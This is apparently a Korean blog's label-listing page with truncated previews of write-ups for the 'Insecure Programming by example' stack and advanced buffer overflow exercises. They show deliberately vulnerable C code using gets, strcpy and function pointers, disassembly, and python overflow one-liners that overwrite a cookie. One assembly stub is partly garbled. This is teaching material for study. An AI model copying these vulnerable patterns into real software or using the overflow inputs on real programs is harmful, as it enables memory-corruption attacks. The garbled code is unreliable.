기본 콘텐츠로 건너뛰기

라벨이 coresecurity_InsecureProgramming인 게시물 표시

Insecure-programming-abo4

Insecure-programming-abo4 Insecure Programming by example Advanced Buffer Overflow 4 extern system , puts ; void ( * fn ) ( char * ) = ( void ( * ) ( char * ) ) & system ; int main ( int argv , char * * argc ) { char * pbuf = malloc ( strlen ( argc [ 2 ] ) + 1 ) ; char buf [ 256 ] ; fn = ( void ( * ) ( char * ) ) & puts ; strcpy ( buf , argc [ 1 ] ) ; strcpy ( pbuf , argc [ 2 ] ) ; fn ( argc [ 3 ] ) ; while ( 1 ) ; } Advanced Buffer Overflow 3과 다른 몇 가지 특징을 볼 수 있다. 먼저 main 함수 외부에서 전역 변수로 fn 함수 포인터를 선언한 것을 볼 수 있다. 그리고 활용 인자 값을 추가하여 첫 번째 인자는 스택에 저장하고 두 번째 인자는 malloc 함수를 활용하여 힙에 저장하고, 세 번째 인자는 fn 함수 포인터로 할당한 puts 함수의 인자로 전달하고 있다. 마지막으로 exit 함수를 이용하여 프로그램을 종료하는 것 대신 while 무한 반복이 설정되어 있다. # objdump -d -M intel ./abo4 | grep -A 39 "<main>" 08048444 <main>: 8048444: 55 push ebp 8048445: 89 e5 mov ebp,esp 8048447: 81 ec 28 01 00 00

Insecure-programming-abo3

Insecure-programming-abo3 Insecure Programming by example Advanced Buffer Overflow 3 int main ( int argv , char * * argc ) { extern system , puts ; void ( * fn ) ( char * ) = ( void ( * ) ( char * ) ) & system ; char buf [ 256 ] ; fn = ( void ( * ) ( char * ) ) & puts ; strcpy ( buf , argc [ 1 ] ) ; fn ( argc [ 2 ] ) ; exit ( 1 ) ; } 이전 문제들에 비해 복잡성을 가진 것을 확인할 수 있다. 하나씩 살펴보면 extern 키워드를 이용하여 system 함수과 puts 함수를 포인터 변수에 선언하는 내용과 두 번째 인자 값( argc[2] )를 puts 함수의 인자로 설정하여 호출하는 것을 볼 수 있다. objdump 를 이용하여 어셈블리어를 살펴보자. 08048414 <main>: 8048414: 55 push ebp 8048415: 89 e5 mov ebp,esp 8048417: 81 ec 28 01 00 00 sub esp,0x128 804841d: 83 e4 f0 and esp,0xfffffff0 8048420: b8 00 00 00 00 mov eax,0x0 8048425: 29 c4 sub esp,eax 8048427: c7 45 f4 fc 82 04 08 mov DWORD PTR [ebp-12],0x80482fc 804842e:

Insecure-programming-abo2

Insecure-programming-abo2 Insecure Programming by example Advanced Buffer Overflow 2 int main ( int argv , char * * argc ) { char buf [ 256 ] ; strcpy ( buf , argc [ 1 ] ) ; exit ( 1 ) ; 지난번 Advanced Buffer Overflow 1 문제와는 다르게 exit() 함수가 추가된 것을 볼 수 있다. 이번 문제는 x86 시스템에서 exit() 함수 호출과 익스플로잇에 대한 영향을 살펴보는 것이 목적이다. objdump 를 이용하여 어셈블리어를 살펴보면 한 가지 특징을 볼 수 있다. # objdump -d -M intel ./abo2 | grep "<main>" -A 16 080483b4 < main > : 80483b4: 55 push ebp 80483b5: 89 e5 mov ebp,esp 80483b7: 81 ec 18 01 00 00 sub esp,0x118 80483bd: 83 e4 f0 and esp,0xfffffff0 80483c0: b8 00 00 00 00 mov eax,0x0 80483c5: 29 c4 sub esp,eax 80483c7: 8b 45 0c mov eax,DWORD PTR [ ebp+12 ] 80483ca: 83 c0 04 add eax,0x4 80483cd: 8b 00 m

Insecure-programming-abo1

Insecure-programming-abo1 Insecure Programming by example Advanced Buffer Overflow 1 int main ( int argv , char * * argc ) { char buf [ 256 ] ; strcpy ( buf , argc [ 1 ] ) ; } Advanced Buffer Overflow 첫 번째 문제는 사용자 인자 값 검증 없이 버퍼에 strcpy() 함수로 복사하여 발생되는 오버플로우 예이다. 먼저 objdump 를 이용하여 어셈블리어를 살펴보자. # objdump -d -M intel ./abo1 | grep -A 16 "<main>" 08048374 <main>: 8048374: 55 push ebp 8048375: 89 e5 mov ebp,esp 8048377: 81 ec 18 01 00 00 sub esp,0x118 804837d: 83 e4 f0 and esp,0xfffffff0 8048380: b8 00 00 00 00 mov eax,0x0 8048385: 29 c4 sub esp,eax 8048387: 8b 45 0c mov eax,DWORD PTR [ebp+12] 804838a: 83 c0 04 add eax,0x4 804838d: 8b 00 mov eax,DWORD PTR [eax] 804838f: 89 44 24 04 mov

Insecure-programming-stack5

Insecure-programming-stack5 Insecure Programming by example Stack 5 이번 문제에서는 조건절 안에 “you win!” 문구 대신 "you loose!"가 있는 것을 볼 수 있다. # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08xn" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x000d0a00 ) printf ( "you loose!\n" ) ; } 따라서 이번 문제를 해결하기 위해서는 임의로 작성한 별도의 코드를 프로그램에서 호출하도록 하여 “you win!” 구문 출력을 이끌어 내야한다. "you win!"을 출력하고 종료하는 간단한 어셈블리어 코드를 작성한다. section .text global _start _start: jmp short ender starter: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 4 mov dbl, 91 pop ecx mov bdl, 14 int 0x80 xor eax, eax inc eaxal dec bl int 0x80 ender: call starter db 'you win!\n' 작성이 완료되었다면 nasm 을 이용하여 오브젝트 파일을 생성한 후 ld 명령어로 실행 파일을 만들어 제대로 동작하는 지 확인해보하고 objdump 를 이용하여 코드 덤프를 만들자. # nasm -f elf -o stack54_sh_code.

Insecure-programming-stack4

Insecure-programming-stack4 Insecure Programming by example Stack 4 문제의 전체적인 구성은 이전과 동일하지만, cookie 값을 눈여겨볼 필요가 있다. 0x000d0a00에서 0x0d는 CR(Carriage Return), 0x0a는 LF(Line Feed)로 NULL, r, n, NULL과 같은 형태로 구성된다. 하지만 gets() 함수는 EOF 나 개행 문자 삽입 시 해당 문자를 제거하고 입력을 종료하게 되므로 gets() 함수를 통해서 cookie 값을 전달할 수 없다. # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x000d0a00 ) printf ( "you win!\n" ) ; } 이번 문제에서는 검증로직 우회가 불가하므로 printf("you win!\n"); 코드를 실행하기 위해서는 해당 코드 주소 직접 호출하는 방식으로 접근해야한다. objdump 를 이용하여 변수의 구성을 확인하자. # objdump -d -M intel stack4 .. . 080483b4 < main > : 80483b4: 55 push ebp 80483b5: 89 e5 mov ebp,esp 80483b7: 83 ec 78 sub esp,0x78 80483ba: 83 e4 f0 and esp,0xfff

Insecure-programming-stack3

Insecure-programming-stack3 Insecure Programming by example Stack 3 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x01020005 ) printf ( "you win!\n" ) ; } stack2와 거의 동일하다 변경된 것은 cookie 값에 0x03 대신 0x00이 포함되어 있다는 것이다. 이는 stack2에서와 같이 python 코드를 작성하여 해결이 가능하다. $ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" | ./stack3.exe buf: 0028fe6c cookie: 0028febc you win ! gdb 디버깅을 위해서 입력 값 파일을 생성하자. $ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" > stack3_input 다른 특이사항이 없으므로 코드만 눈으로 읽고 지나가자. (gdb) set disassembly-flavor intel (gdb) b main Breakpoint 1 at 0x401603 (gdb) r Starting program: D:\011. ETC\deadbits\stack3.exe [New Thread 11276.0x1d1c] Breakpoint 1, 0x00401603 in main () (gdb) disas D

Insecure-programming-stack2

Insecure-programming-stack2 Insecure Programming by example Stack 2 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x01020305 ) printf ( "you win!\n" ) ; } 이번 문제의 경우 목표 cookie 값이 0x01020305로 ASCII 코드로 확인해보면 문자로 입력이 불가한 값임을 알 수 있다. ASCII Table Tables For convenience, below are more compact tables in hex and decimal. 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: #

Insecure-programming-stack1

Insecure-programming-stack1 Insecure Programming by example Stack 1 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x41424344 ) printf ( "you win!\n" ) ; } cookie 변수 값이 0x41424344인 경우 you win! 을 출력하는 프로그램 소스 코드이다. 하지만 정상적인 프로그램 사용을 통해서 cookie 값에 값을 삽입할 수 있는 방법은 존재하지 않으므로 buf[80] 배열에 값을 넘치게 삽입하여 cookie 변수 값을 조작해야 한다. $ echo `python -c "print 'a'*80+'DCBA'" ` | ./stack1.exe buf: 0028fe6c cookie: 0028febc you win ! 위와 같이 python을 이용하여 임의의 문자 80개를 삽입한 후 cookie 변수 값에 넣을 값 지정하면 쉽게 해결할 수 있다. 주의할 점은 리틀엔디언 방식으로 문자를 역순으로 넣어주어야한다는 점이다. 추가적으로 심볼 파일을 생성하거나 gdb를 통해서 어셈블리어 구성을 살펴보자. 간단한 코드로 특이 사항은 없으므로 간단히 눈으로 읽고 지나쳐도 좋다. gcc -S -masm = intel -O3 -o stack1.s ./stack1.c Non-debugging symbols: 0x00000000 __deregister_frame_info 0x00000000 __register_frame_info 0x0040